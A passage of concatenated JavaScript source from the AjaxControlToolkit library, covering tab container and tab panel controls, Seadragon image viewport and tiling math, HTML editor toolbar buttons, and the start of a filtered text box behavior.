        return null;
    },
    getNextTab: function(includeDisabled) {
        var tabs = this.get_tabs();
        var active = this.get_activeTabIndex();
        for (var i = 1; i < tabs.length; i++) {
            var tabIndex = (active + i) % tabs.length;
            var tab = tabs[tabIndex];
            if (includeDisabled || tab.get_enabled())
                return tab;
        }
        return null;
    },
    getPreviousTab: function(includeDisabled) {
        var tabs = this.get_tabs();
        var active = this.get_activeTabIndex();
        for (var i = 1; i < tabs.length; i++) {
            var tabIndex = (tabs.length + (active - i)) % tabs.length;
            var tab = tabs[tabIndex];
            if (includeDisabled || tab.get_enabled())
                return tab;
        }
        return null;
    },
    getNearestTab: function(includeDisabled) {
        var prev = this.getPreviousTab(includeDisabled);
        var next = this.getNextTab(includeDisabled);
        if (prev && prev.get_tabIndex() < this._activeTabIndex) {
            return prev;
        } else if (next && next.get_tabIndex() > this._activeTabIndex) {
            return next;
        }
        return null;
    },
    saveClientState: function() {
        var tabs = this.get_tabs();
        var tabState = [];
        for (var i = 0; i < tabs.length; i++) {
            Array.add(tabState, tabs[i].get_enabled());
        }
        var state = {
            ActiveTabIndex: this._activeTabIndex,
            TabState: tabState
        };
        return Sys.Serialization.JavaScriptSerializer.serialize(state);
    },
    _invalidate: function() {
        if (this.get_isInitialized()) {
            $common.removeCssClasses(this._body, [
                "ajax__scroll_horiz",
                "ajax__scroll_vert",
                "ajax__scroll_both",
                "ajax__scroll_auto"
            ]);
            switch (this._scrollBars) {
                case AjaxControlToolkit.ScrollBars.Horizontal:
                    Sys.UI.DomElement.addCssClass(this._body, "ajax__scroll_horiz");
                    break;
                case AjaxControlToolkit.ScrollBars.Vertical:
                    Sys.UI.DomElement.addCssClass(this._body, "ajax__scroll_vert");
                    break;
                case AjaxControlToolkit.ScrollBars.Both:
                    Sys.UI.DomElement.addCssClass(this._body, "ajax__scroll_both");
                    break;
                case AjaxControlToolkit.ScrollBars.Auto:
                    Sys.UI.DomElement.addCssClass(this._body, "ajax__scroll_auto");
                    break;
            }
        }
    },
    _app_onload: function(sender, e) {
        if (this._cachedActiveTabIndex != -1) {
            this.set_activeTabIndex(this._cachedActiveTabIndex);
            this._cachedActiveTabIndex = -1;
        }
        this._loaded = true;
    }
}
AjaxControlToolkit.TabContainer.registerClass("AjaxControlToolkit.TabContainer", AjaxControlToolkit.ControlBase);

AjaxControlToolkit.TabPanel = function(element) {
    AjaxControlToolkit.TabPanel.initializeBase(this, [element]);
    this._active = false;
    this._tab = null;
    this._headerOuter = null;
    this._headerInner = null;
    this._header = null;
    this._owner = null;
    this._ownerID = null;
    this._enabled = true;
    this._tabIndex = -1;
    this._dynamicContextKey = null;
    this._dynamicServicePath = null;
    this._dynamicServiceMethod = null;
    this._dynamicPopulateBehavior = null;
    this._scrollBars = AjaxControlToolkit.ScrollBars.None;    
    this._header_onclick$delegate = Function.createDelegate(this, this._header_onclick);
    this._header_onmouseover$delegate = Function.createDelegate(this, this._header_onmouseover);
    this._header_onmouseout$delegate = Function.createDelegate(this, this._header_onmouseout);
    this._header_onmousedown$delegate = Function.createDelegate(this, this._header_onmousedown);
    this._dynamicPopulate_onpopulated$delegate = Function.createDelegate(this, this._dynamicPopulate_onpopulated);
    this._oncancel$delegate = Function.createDelegate(this, this._oncancel);
}
AjaxControlToolkit.TabPanel.prototype = {

    add_click: function(handler) {
        this.get_events().addHandler("click", handler);
    },
    remove_click: function(handler) {
        this.get_events().removeHandler("click", handler);
    },
    raiseClick: function() {
        var eh = this.get_events().getHandler("click");
        if (eh) {
            eh(this, Sys.EventArgs.Empty);
        }
    },

    add_populating: function(handler) {
        this.get_events().addHandler("populating", handler);
    },
    remove_populating: function(handler) {
        this.get_events().removeHandler("populating", handler);
    },
    raisePopulating: function() {
        var eh = this.get_events().getHandler("populating");
        if (eh) {
            eh(this, Sys.EventArgs.Empty);
        }
    },

    add_populated: function(handler) {
        this.get_events().addHandler("populated", handler);
    },
    remove_populated: function(handler) {
        this.get_events().removeHandler("populated", handler);
    },
    raisePopulated: function() {
        var eh = this.get_events().getHandler("populated");
        if (eh) {
            eh(this, Sys.EventArgs.Empty);
        }
    },

    get_headerText: function() {
        if (this.get_isInitialized()) {
            return this._header.innerHTML;
        }
        return "";
    },
    set_headerText: function(value) {
        if (!this.get_isInitialized()) {
            throw Error.invalidOperation(String.format(AjaxControlToolkit.Resources.Tabs_PropertySetBeforeInitialization, 'headerText'));
        }
        if (this.get_headerText() != value) {
            this._header.innerHTML = value;
            this.raisePropertyChanged("headerText");
        }
    },

    get_headerTab: function() {
        return this._header;
    },
    set_headerTab: function(value) {
        if (this._header != value) {
            if (this.get_isInitialized()) {
                throw Error.invalidOperation(String.format(AjaxControlToolkit.Resources.Tabs_PropertySetAfterInitialization, 'headerTab'));
            }
            this._header = value;
            this.raisePropertyChanged("value");
        }
    },

    get_enabled: function() {
        return this._enabled;
    },
    set_enabled: function(value) {
        if (value != this._enabled) {
            this._enabled = value;
            if (this.get_isInitialized()) {
                this._makeEnabled(this._enabled);
            }
            this.raisePropertyChanged("enabled");
        }
    },

    get_owner: function() {
        return this._owner;
    },
    set_owner: function(value) {
        if (this._owner != value) {
            if (this.get_isInitialized()) {
                throw Error.invalidOperation(String.format(AjaxControlToolkit.Resources.Tabs_PropertySetAfterInitialization, 'owner'));
            }
            this._owner = value;
            this.raisePropertyChanged("owner");
        }
    },

    get_ownerID: function() {
        return this._ownerID;
    },
    set_ownerID: function(value) {
        this._ownerID = value;
    },

    get_scrollBars: function() {
        return this._scrollBars;
    },
    set_scrollBars: function(value) {
        if (this._scrollBars != value) {
            this._scrollBars = value;
            this.raisePropertyChanged("scrollBars");
        }
    },

    get_tabIndex: function() {
        return this._tabIndex;
    },

    get_dynamicContextKey: function() {
        return this._dynamicContextKey;
    },
    set_dynamicContextKey: function(value) {
        if (this._dynamicContextKey != value) {
            this._dynamicContextKey = value;
            this.raisePropertyChanged('dynamicContextKey');
        }
    },

    get_dynamicServicePath: function() {
        return this._dynamicServicePath;
    },
    set_dynamicServicePath: function(value) {
        if (this._dynamicServicePath != value) {
            this._dynamicServicePath = value;
            this.raisePropertyChanged('dynamicServicePath');
        }
    },

    get_dynamicServiceMethod: function() {
        return this._dynamicServiceMethod;
    },
    set_dynamicServiceMethod: function(value) {
        if (this._dynamicServiceMethod != value) {
            this._dynamicServiceMethod = value;
            this.raisePropertyChanged('dynamicServiceMethod');
        }
    },

    _get_active: function() {
        return this._active;
    },
    _set_active: function(value) {
        this._active = value;
        if (value)
            this._activate();
        else
            this._deactivate();
    },

    initialize: function() {
        var owner = this.get_owner();

        if (!owner) {
            owner = $find(this.get_ownerID());
            if (owner) {
                owner.initialize();
                this.set_owner(owner);
            }
        }

        AjaxControlToolkit.TabPanel.callBaseMethod(this, "initialize");

        if (!owner) {
            throw Error.invalidOperation(AjaxControlToolkit.Resources.Tabs_OwnerExpected);
        }

        this._tabIndex = owner.get_tabs().length;

        Array.add(owner.get_tabs(), this);
        var tabId = this.get_id() + "_tab";
        this._tab = document.getElementById(tabId);
        var serverRendered = (this._tab != null);

        if (!serverRendered) {
            this._headerOuterWrapper = document.createElement('span');
            this._headerInnerWrapper = document.createElement('span');
            this._tab = document.createElement('span');
            this._tab.id = tabId;
            this._header.parentNode.replaceChild(this._tab, this._header);
            this._tab.appendChild(this._headerOuterWrapper);
            this._headerOuterWrapper.appendChild(this._headerInnerWrapper);
            this._headerInnerWrapper.appendChild(this._header);
        }

        $addHandlers(this._header, {
            mousedown: this._header_onmousedown$delegate,
            dragstart: this._oncancel$delegate,
            selectstart: this._oncancel$delegate,
            select: this._oncancel$delegate
        });
        if (this._enabled) {
            this._addHandlersOnEnabled();
        } else {
            Sys.UI.DomElement.addCssClass(this._tab, "ajax__tab_disabled");
        }

        if (!serverRendered) {
            Sys.UI.DomElement.addCssClass(this._headerOuterWrapper, "ajax__tab_outer");
            Sys.UI.DomElement.addCssClass(this._headerInnerWrapper, "ajax__tab_inner");
            Sys.UI.DomElement.addCssClass(this._header, "ajax__tab_tab");
            Sys.UI.DomElement.addCssClass(this.get_element(), "ajax__tab_panel");
        }
    },

    dispose: function() {
        if (this._dynamicPopulateBehavior) {
            this._dynamicPopulateBehavior.dispose();
            this._dynamicPopulateBehavior = null;
        }
        $common.removeHandlers(this._header, {
            mousedown: this._header_onmousedown$delegate,
            dragstart: this._oncancel$delegate,
            selectstart: this._oncancel$delegate,
            select: this._oncancel$delegate
        });
        if (this._enabled) {
            this._removeHandlersOnEnabled();
        }
        AjaxControlToolkit.TabPanel.callBaseMethod(this, "dispose");
    },

    _addHandlersOnEnabled: function() {
        $addHandlers(this._header, {
            click: this._header_onclick$delegate,
            mouseover: this._header_onmouseover$delegate,
            mouseout: this._header_onmouseout$delegate
        });
    },

    _removeHandlersOnEnabled: function() {
        $common.removeHandlers(this._header, {
            click: this._header_onclick$delegate,
            mouseover: this._header_onmouseover$delegate,
            mouseout: this._header_onmouseout$delegate
        });
    },

    populate: function(contextKeyOverride) {
        if (this._dynamicPopulateBehavior && (this._dynamicPopulateBehavior.get_element() != this.get_element())) {
            this._dynamicPopulateBehavior.dispose();
            this._dynamicPopulateBehavior = null;
        }
        if (!this._dynamicPopulateBehavior && this._dynamicServiceMethod) {
            this._dynamicPopulateBehavior = $create(AjaxControlToolkit.DynamicPopulateBehavior, { "ContextKey": this._dynamicContextKey, "ServicePath": this._dynamicServicePath, "ServiceMethod": this._dynamicServiceMethod }, { "populated": this._dynamicPopulate_onpopulated$delegate }, null, this.get_element());
        }
        if (this._dynamicPopulateBehavior) {
            this.raisePopulating();
            this._dynamicPopulateBehavior.populate(contextKeyOverride ? contextKeyOverride : this._dynamicContextKey);
        }
    },

    _activate: function() {
        if (this._enabled) {
            var elt = this.get_element();
            $common.setVisible(elt, true);
            Sys.UI.DomElement.addCssClass(this._tab, "ajax__tab_active");

            this.populate();
        } else if (this._get_active()) {
            var next = this._owner.getNearestTab(false);
            if (!!next) {
                this._owner.set_activeTab(next);
            }
        }
        this._owner.get_element().style.visibility = 'visible';
    },
    _deactivate: function() {
        var elt = this.get_element();
        $common.setVisible(elt, false);
        Sys.UI.DomElement.removeCssClass(this._tab, "ajax__tab_active");
    },
    _show: function() {
        this._tab.style.display = '';
    },
    _hide: function() {
        this._tab.style.display = 'none';
        if (this._get_active()) {
            var next = this._owner.getNearestTab(false);
            if (!!next) {
                this._owner.set_activeTab(next);
            }
        }
        this._deactivate();
    },

    _makeEnabled: function(enable) {
        if (enable) {
            this._addHandlersOnEnabled();
            Sys.UI.DomElement.removeCssClass(this._tab, "ajax__tab_disabled");
        } else {
            this._removeHandlersOnEnabled();
            if (this._get_active()) {
                var next = this._owner.getNearestTab(false);
                if (!!next) {
                    this._owner.set_activeTab(next);
                }
            }
            this._deactivate();
            Sys.UI.DomElement.addCssClass(this._tab, "ajax__tab_disabled");
        }
    },

    _header_onclick: function(e) {
        this.raiseClick();
        this.get_owner().set_activeTab(this);
    },
    _header_onmouseover: function(e) {
        Sys.UI.DomElement.addCssClass(this._tab, "ajax__tab_hover");
    },
    _header_onmouseout: function(e) {
        Sys.UI.DomElement.removeCssClass(this._tab, "ajax__tab_hover");
    },
    _header_onmousedown: function(e) {
        e.preventDefault();
    },
    _oncancel: function(e) {
        e.stopPropagation();
        e.preventDefault();
    },
    _dynamicPopulate_onpopulated: function(sender, e) {
        this.raisePopulated();
    }
}
AjaxControlToolkit.TabPanel.registerClass("AjaxControlToolkit.TabPanel", Sys.UI.Control);
�2Type.registerNamespace('AjaxControlToolkit.Seadragon');

AjaxControlToolkit.Seadragon.Viewport = function(containerSize, contentSize, config) {
	this.zoomPoint = null;
	this.config = config;
	this._containerSize = containerSize;
	this._contentSize = contentSize;
	this._contentAspect = contentSize.x / contentSize.y;
	this._contentHeight = contentSize.y / contentSize.x;
	this._centerSpringX = new Seadragon.Spring(0, this.config);
	this._centerSpringY = new Seadragon.Spring(0, this.config);
	this._zoomSpring = new Seadragon.Spring(1, this.config);
	this._homeBounds = new AjaxControlToolkit.Seadragon.Rect(0, 0, 1, this._contentHeight);
	this.goHome(true);
	this.update();
}
AjaxControlToolkit.Seadragon.Viewport.prototype = {
	_getHomeZoom: function() {
		var aspectFactor = this._contentAspect / this.getAspectRatio();
		// if content is wider, we'll fit width, otherwise height
		return (aspectFactor >= 1) ? 1 : aspectFactor;
	},

	_getMinZoom: function() {
		var homeZoom = this._getHomeZoom();

		// for backwards compatibility, respect minZoomDimension if present
		if (this.config.minZoomDimension) {
			var zoom = (this._contentSize.x <= this._contentSize.y) ?
                this.config.minZoomDimension / this._containerSize.x :
                this.config.minZoomDimension / (this._containerSize.x * this._contentHeight);
		} else {
			var zoom = this.config.minZoomImageRatio * homeZoom;
		}

		return Math.min(zoom, homeZoom);
	},

	_getMaxZoom: function() {
		var zoom = this._contentSize.x * this.config.maxZoomPixelRatio / this._containerSize.x;
		return Math.max(zoom, this._getHomeZoom());
	},
	getAspectRatio: function() {
		return this._containerSize.x / this._containerSize.y;
	},
	getContainerSize: function() {
		return new AjaxControlToolkit.Seadragon.Point(this._containerSize.x, this._containerSize.y);
	},

	getBounds: function(current) {
		var center = this.getCenter(current);
		var width = 1.0 / this.getZoom(current);
		var height = width / this.getAspectRatio();

		return new AjaxControlToolkit.Seadragon.Rect(center.x - width / 2.0, center.y - height / 2.0,
            width, height);
	},

	getCenter: function(current) {
		var centerCurrent = new AjaxControlToolkit.Seadragon.Point(this._centerSpringX.getCurrent(),
                this._centerSpringY.getCurrent());
		var centerTarget = new AjaxControlToolkit.Seadragon.Point(this._centerSpringX.getTarget(),
                this._centerSpringY.getTarget());

		if (current) {
			return centerCurrent;
		} else if (!this.zoomPoint) {
			// no adjustment necessary since we're not zooming
			return centerTarget;
		}

		// to get the target center, we need to adjust for the zoom point.
		// we'll do this in the same way as the update() method.
		var oldZoomPixel = this.pixelFromPoint(this.zoomPoint, true);

		// manually calculate bounds based on this unadjusted target center.
		// this is mostly a duplicate of getBounds() above. note that this is
		// based on the TARGET zoom but the CURRENT center.
		var zoom = this.getZoom();
		var width = 1.0 / zoom;
		var height = width / this.getAspectRatio();
		var bounds = new AjaxControlToolkit.Seadragon.Rect(centerCurrent.x - width / 2.0,
                centerCurrent.y - height / 2.0, width, height);

		// the conversions here are identical to the pixelFromPoint() and
		// deltaPointsFromPixels() methods.
		var newZoomPixel = this.zoomPoint.minus(bounds.getTopLeft()).times(this._containerSize.x / bounds.width);
		var deltaZoomPixels = newZoomPixel.minus(oldZoomPixel);
		var deltaZoomPoints = deltaZoomPixels.divide(this._containerSize.x * zoom);

		// finally, shift center to negate the change.
		return centerTarget.plus(deltaZoomPoints);
	},

	getZoom: function(current) {
		if (current) {
			return this._zoomSpring.getCurrent();
		} else {
			return this._zoomSpring.getTarget();
		}
	},

	// Methods -- MODIFIERS

	applyConstraints: function(immediately) {
		// first, apply zoom constraints
		var actualZoom = this.getZoom();
		var constrainedZoom = Math.max(Math.min(actualZoom, this._getMaxZoom()), this._getMinZoom());
		if (actualZoom != constrainedZoom) {
			this.zoomTo(constrainedZoom, this.zoomPoint, immediately);
		}

		// then, apply pan constraints
		var bounds = this.getBounds();
		var visibilityRatio = this.config.visibilityRatio;

		// threshold in normalized coordinates
		var horThres = visibilityRatio * bounds.width;
		var verThres = visibilityRatio * bounds.height;

		// amount visible in normalized coordinates
		var left = bounds.x + bounds.width;
		var right = 1 - bounds.x;
		var top = bounds.y + bounds.height;
		var bottom = this._contentHeight - bounds.y;

		// adjust viewport horizontally -- in normalized coordinates!
		var dx = 0;
		if (this.config.wrapHorizontal) {
			// nothing to constrain
		} else if (left < horThres) {
			dx = horThres - left;
		} else if (right < horThres) {
			dx = right - horThres;
		}

		// adjust viewport vertically -- in normalized coordinates!
		var dy = 0;
		if (this.config.wrapVertical) {
			// nothing to constrain
		} else if (top < verThres) {
			dy = verThres - top;
		} else if (bottom < verThres) {
			dy = bottom - verThres;
		}

		// pan if we aren't zooming, otherwise set the zoom point if we are.
		// we've already implemented logic in fitBounds() for this.
		if (dx || dy) {
			bounds.x += dx;
			bounds.y += dy;
			this.fitBounds(bounds, immediately);
		}
	},

	ensureVisible: function(immediately) {
		// for backwards compatibility
		this.applyConstraints(immediately);
	},

	fitBounds: function(bounds, immediately) {
		var aspect = this.getAspectRatio();
		var center = bounds.getCenter();

		// resize bounds to match viewport's aspect ratio, maintaining center.
		// note that zoom = 1/width, and width = height*aspect.
		var newBounds = new AjaxControlToolkit.Seadragon.Rect(bounds.x, bounds.y, bounds.width, bounds.height);
		if (newBounds.getAspectRatio() >= aspect) {
			// width is bigger relative to viewport, resize height
			newBounds.height = bounds.width / aspect;
			newBounds.y = center.y - newBounds.height / 2;
		} else {
			// height is bigger relative to viewport, resize width
			newBounds.width = bounds.height * aspect;
			newBounds.x = center.x - newBounds.width / 2;
		}

		// stop movement first! this prevents the operation from missing
		this.panTo(this.getCenter(true), true);
		this.zoomTo(this.getZoom(true), null, true);

		// capture old values for bounds and width. we need both, but we'll
		// also use both for redundancy, to protect against precision errors.
		// note: use target bounds, since update() hasn't been called yet!
		var oldBounds = this.getBounds();
		var oldZoom = this.getZoom();

		// if we're already at the correct zoom, just pan and we're done.
		// we'll check both zoom and bounds for redundancy, to protect against
		// precision errors (see note below).
		var newZoom = 1.0 / newBounds.width;
		if (newZoom == oldZoom || newBounds.width == oldBounds.width) {
			this.panTo(center, immediately);
			return;
		}

		// otherwise, we need to zoom about the only point whose pixel transform
		// is constant between the old and new bounds. this is just tricky math.
		var refPoint = oldBounds.getTopLeft().times(this._containerSize.x / oldBounds.width).minus(
                newBounds.getTopLeft().times(this._containerSize.x / newBounds.width)).divide(
                this._containerSize.x / oldBounds.width - this._containerSize.x / newBounds.width);

		// note: that last line (cS.x / oldB.w - cS.x / newB.w) was causing a
		// divide by 0 in the case that oldBounds.width == newBounds.width.
		// that should have been picked up by the zoom check, but in certain
		// cases, the math is slightly off and the zooms are different. so now,
		// the zoom check has an extra check added.

		this.zoomTo(newZoom, refPoint, immediately);
	},

	goHome: function(immediately) {
		// calculate center adjusted for zooming
		var center = this.getCenter();

		// if we're wrapping horizontally, "unwind" the horizontal spring
		if (this.config.wrapHorizontal) {
			// this puts center.x into the range [0, 1) always
			center.x = (1 + (center.x % 1)) % 1;
			this._centerSpringX.resetTo(center.x);
			this._centerSpringX.update();
		}

		// if we're wrapping vertically, "unwind" the vertical spring
		if (this.config.wrapVertical) {
			// this puts center.y into the range e.g. [0, 0.75) always
			center.y = (this._contentHeight + (center.y % this._contentHeight)) % this._contentHeight;
			this._centerSpringY.resetTo(center.y);
			this._centerSpringY.update();
		}

		this.fitBounds(this._homeBounds, immediately);
	},

	panBy: function(delta, immediately) {
		// this breaks if we call self.getCenter(), since that adjusts the
		// center for zoom. we don't want that, so use the unadjusted center.
		var center = new AjaxControlToolkit.Seadragon.Point(this._centerSpringX.getTarget(),
                this._centerSpringY.getTarget());
		this.panTo(center.plus(delta), immediately);
	},

	panTo: function(center, immediately) {
		if (immediately) {
			this._centerSpringX.resetTo(center.x);
			this._centerSpringY.resetTo(center.y);
		} else {
			this._centerSpringX.springTo(center.x);
			this._centerSpringY.springTo(center.y);
		}
	},

	zoomBy: function(factor, refPoint, immediately) {
		this.zoomTo(this._zoomSpring.getTarget() * factor, refPoint, immediately);
	},

	zoomTo: function(zoom, refPoint, immediately) {
		// we used to constrain zoom automatically here; now it needs to be
		// explicitly constrained, via applyConstraints().
		//zoom = Math.max(zoom, getMinZoom());
		//zoom = Math.min(zoom, getMaxZoom());

		if (immediately) {
			this._zoomSpring.resetTo(zoom);
		} else {		
			this._zoomSpring.springTo(zoom);
		}

		this.zoomPoint = refPoint instanceof AjaxControlToolkit.Seadragon.Point ? refPoint : null;
	},

	resize: function(newContainerSize, maintain) {
		// default behavior: just ensure the visible content remains visible.
		// note that this keeps the center (relative to the content) constant.
		var oldBounds = this.getBounds();
		var newBounds = oldBounds;
		var widthDeltaFactor = newContainerSize.x / this._containerSize.x;

		// update container size, but make copy first
		this._containerSize = new AjaxControlToolkit.Seadragon.Point(newContainerSize.x, newContainerSize.y);

		if (maintain) {
			// no resize relative to screen, resize relative to viewport.
			// keep origin constant, zoom out (increase bounds) by delta factor.
			newBounds.width = oldBounds.width * widthDeltaFactor;
			newBounds.height = newBounds.width / this.getAspectRatio();
		}

		this.fitBounds(newBounds, true);
	},

	update: function() {
		var oldCenterX = this._centerSpringX.getCurrent();
		var oldCenterY = this._centerSpringY.getCurrent();
		var oldZoom = this._zoomSpring.getCurrent();

		// remember position of zoom point
		if (this.zoomPoint) {
			var oldZoomPixel = this.pixelFromPoint(this.zoomPoint, true);
		}

		// now update zoom only, don't update pan yet
		this._zoomSpring.update();

		// adjust for change in position of zoom point, if we've zoomed
		if (this.zoomPoint && this._zoomSpring.getCurrent() != oldZoom) {
			var newZoomPixel = this.pixelFromPoint(this.zoomPoint, true);
			var deltaZoomPixels = newZoomPixel.minus(oldZoomPixel);
			var deltaZoomPoints = this.deltaPointsFromPixels(deltaZoomPixels, true);

			// shift pan to negate the change
			this._centerSpringX.shiftBy(deltaZoomPoints.x);
			this._centerSpringY.shiftBy(deltaZoomPoints.y);
		} else {
			// don't try to adjust next time; this improves performance
			this.zoomPoint = null;
		}

		// now after adjustment, update pan
		this._centerSpringX.update();
		this._centerSpringY.update();

		return this._centerSpringX.getCurrent() != oldCenterX ||
                this._centerSpringY.getCurrent() != oldCenterY ||
                this._zoomSpring.getCurrent() != oldZoom;
	},

	// Methods -- CONVERSION HELPERS

	deltaPixelsFromPoints: function(deltaPoints, current) {
		return deltaPoints.times(this._containerSize.x * this.getZoom(current));
	},

	deltaPointsFromPixels: function(deltaPixels, current) {
		return deltaPixels.divide(this._containerSize.x * this.getZoom(current));
	},

	pixelFromPoint: function(point, current) {
		var bounds = this.getBounds(current);
		return point.minus(bounds.getTopLeft()).times(this._containerSize.x / bounds.width);
	},

	pointFromPixel: function(pixel, current) {
		var bounds = this.getBounds(current);
		return pixel.divide(this._containerSize.x / bounds.width).plus(bounds.getTopLeft());
	}
}
AjaxControlToolkit.Seadragon.Viewport.registerClass('AjaxControlToolkit.Seadragon.Viewport', null, Sys.IDisposable);


Type.registerNamespace('AjaxControlToolkit.Seadragon');


AjaxControlToolkit.Seadragon.TileSource = function(width, height, tileSize, tileOverlap, minLevel, maxLevel) {
    this.aspectRatio = width / height;
    this.dimensions = new AjaxControlToolkit.Seadragon.Point(width, height);
    this.minLevel = minLevel ? minLevel : 0;
    this.maxLevel = maxLevel ? maxLevel :
            Math.ceil(Math.log(Math.max(width, height)) / Math.log(2));
    this.tileSize = tileSize ? tileSize : 0;
    this.tileOverlap = tileOverlap ? tileOverlap : 0;
}
AjaxControlToolkit.Seadragon.TileSource.prototype = {
    getLevelScale: function(level) {
        // equivalent to Math.pow(0.5, numLevels - level);
        return 1 / (1 << (this.maxLevel - level));
    },

    getNumTiles: function(level) {
        var scale = this.getLevelScale(level);
        var x = Math.ceil(scale * this.dimensions.x / this.tileSize);
        var y = Math.ceil(scale * this.dimensions.y / this.tileSize);

        return new AjaxControlToolkit.Seadragon.Point(x, y);
    },

    getPixelRatio: function(level) {
        var imageSizeScaled = this.dimensions.times(this.getLevelScale(level));
        var rx = 1.0 / imageSizeScaled.x;
        var ry = 1.0 / imageSizeScaled.y;

        return new AjaxControlToolkit.Seadragon.Point(rx, ry);
    },

    getTileAtPoint: function(level, point) {
        var pixel = point.times(this.dimensions.x).times(this.getLevelScale(level));

        var tx = Math.floor(pixel.x / this.tileSize);
        var ty = Math.floor(pixel.y / this.tileSize);

        return new AjaxControlToolkit.Seadragon.Point(tx, ty);
    },

    getTileBounds: function(level, x, y) {
        // work in scaled pixels for this level
        var dimensionsScaled = this.dimensions.times(this.getLevelScale(level));

        // find position, adjust for no overlap data on top and left edges
        var px = (x === 0) ? 0 : this.tileSize * x - this.tileOverlap;
        var py = (y === 0) ? 0 : this.tileSize * y - this.tileOverlap;

        // find size, adjust for no overlap data on top and left edges
        var sx = this.tileSize + (x === 0 ? 1 : 2) * this.tileOverlap;
        var sy = this.tileSize + (y === 0 ? 1 : 2) * this.tileOverlap;

        // adjust size for single-tile levels where the image size is smaller
        // than the regular tile size, and for tiles on the bottom and right
        // edges that would exceed the image bounds
        sx = Math.min(sx, dimensionsScaled.x - px);
        sy = Math.min(sy, dimensionsScaled.y - py);

        // finally, normalize...
        // note that isotropic coordinates ==> only dividing by scaled x!
        var scale = 1.0 / dimensionsScaled.x;
        return new AjaxControlToolkit.Seadragon.Rect(px * scale, py * scale, sx * scale, sy * scale);
    },

    getTileUrl: function(level, x, y) {
        throw new Error("Method not implemented.");
    },

    tileExists: function(level, x, y) {
        var numTiles = this.getNumTiles(level);
        return level >= this.minLevel && level <= this.maxLevel &&
                x >= 0 && y >= 0 && x < numTiles.x && y < numTiles.y;
    }
}
AjaxControlToolkit.Seadragon.TileSource.registerClass('AjaxControlToolkit.Seadragon.TileSource', null, Sys.IDisposable);
_Type.registerNamespace('AjaxControlToolkit.Seadragon');
Type.registerNamespace('Seadragon');

Seadragon.Point=AjaxControlToolkit.Seadragon.Point = function(x, y) {
    this.x = typeof (x) == "number" ? x : 0;
    this.y = typeof (y) == "number" ? y : 0;
}
AjaxControlToolkit.Seadragon.Point.prototype = {
    // Methods

    plus: function(point) {
        return new AjaxControlToolkit.Seadragon.Point(this.x + point.x, this.y + point.y);
    },

    minus: function(point) {
        return new AjaxControlToolkit.Seadragon.Point(this.x - point.x, this.y - point.y);
    },

    times: function(factor) {
        return new AjaxControlToolkit.Seadragon.Point(this.x * factor, this.y * factor);
    },

    divide: function(factor) {
        return new AjaxControlToolkit.Seadragon.Point(this.x / factor, this.y / factor);
    },

    negate: function() {
        return new AjaxControlToolkit.Seadragon.Point(-this.x, -this.y);
    },

    distanceTo: function(point) {
        return Math.sqrt(Math.pow(this.x - point.x, 2) +
                        Math.pow(this.y - point.y, 2));
    },

    apply: function(func) {
        return new AjaxControlToolkit.Seadragon.Point(func(this.x), func(this.y));
    },

    equals: function(point) {
        return (point instanceof AjaxControlToolkit.Seadragon.Point) &&
                (this.x === point.x) && (this.y === point.y);
    },

    toString: function() {
        return "(" + this.x + "," + this.y + ")";
    }
}
AjaxControlToolkit.Seadragon.Point.registerClass('AjaxControlToolkit.Seadragon.Point', null, Sys.IDisposable);  �Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList.prototype = {
    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList.callBaseMethod(this, "callMethod")) return false;
        this._designPanel._execCommand("InsertOrderedList");
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.OrderedList", AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);

�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton.prototype = {

    callMethod : function() {
        if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton.callBaseMethod(this, "callMethod")) return false;
        this.openPopup(Function.createDelegate(this, this._onopened));
        return true;
    },
    
    _onopened : function(contentWindow) {
        contentWindow.setColor = Function.createDelegate(this, this.setColor);
    },
    
    setColor : function(color) {
        this.closePopup();
    }
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.ColorButton", AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignModePopupImageButton);
�N// (c) Copyright Microsoft Corporation.
// This source is subject to the Microsoft Public License.
// See http://www.microsoft.com/opensource/licenses.mspx#Ms-PL.
// All other rights reserved.


/// <reference name="MicrosoftAjax.debug.js" />
/// <reference name="MicrosoftAjaxTimer.debug.js" />
/// <reference name="MicrosoftAjaxWebForms.debug.js" />
/// <reference path="../ExtenderBase/BaseScripts.js" />
/// <reference path="../Common/Common.js" />


Type.registerNamespace('AjaxControlToolkit');

AjaxControlToolkit.FilteredTextBoxBehavior = function(element) {
    /// <summary>
    /// The FilteredTextBoxBehavior is used to prevent invalid characters from being entered into a textbox
    /// </summary>
    /// <param name="element" type="Sys.UI.DomElement">
    /// The textbox element this behavior is associated with
    /// </param>
    AjaxControlToolkit.FilteredTextBoxBehavior.initializeBase(this, [element]);
    
    this._keypressHandler = null;
    this._changeHandler = null;
    
    this._intervalID = null;
    
    this._filterType =  AjaxControlToolkit.FilterTypes.Custom;
    this._filterMode =  AjaxControlToolkit.FilterModes.ValidChars;
    this._validChars = null;
    this._invalidChars = null;
    this._filterInterval = 250;
    
    this.charTypes = { };
    this.charTypes.LowercaseLetters = "abcdefghijklmnopqrstuvwxyz";
    this.charTypes.UppercaseLetters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    this.charTypes.Numbers = "0123456789";
}
AjaxControlToolkit.FilteredTextBoxBehavior.prototype = {
    initialize : function() {
        /// <summary>
        /// Initialize the behavior
        /// </summary>
        AjaxControlToolkit.FilteredTextBoxBehavior.callBaseMethod(this, 'initialize');
        
        var element = this.get_element();

        this._keypressHandler = Function.createDelegate(this, this._onkeypress);
        $addHandler(element, 'keypress', this._keypressHandler);
        
        this._changeHandler = Function.createDelegate(this, this._onchange);
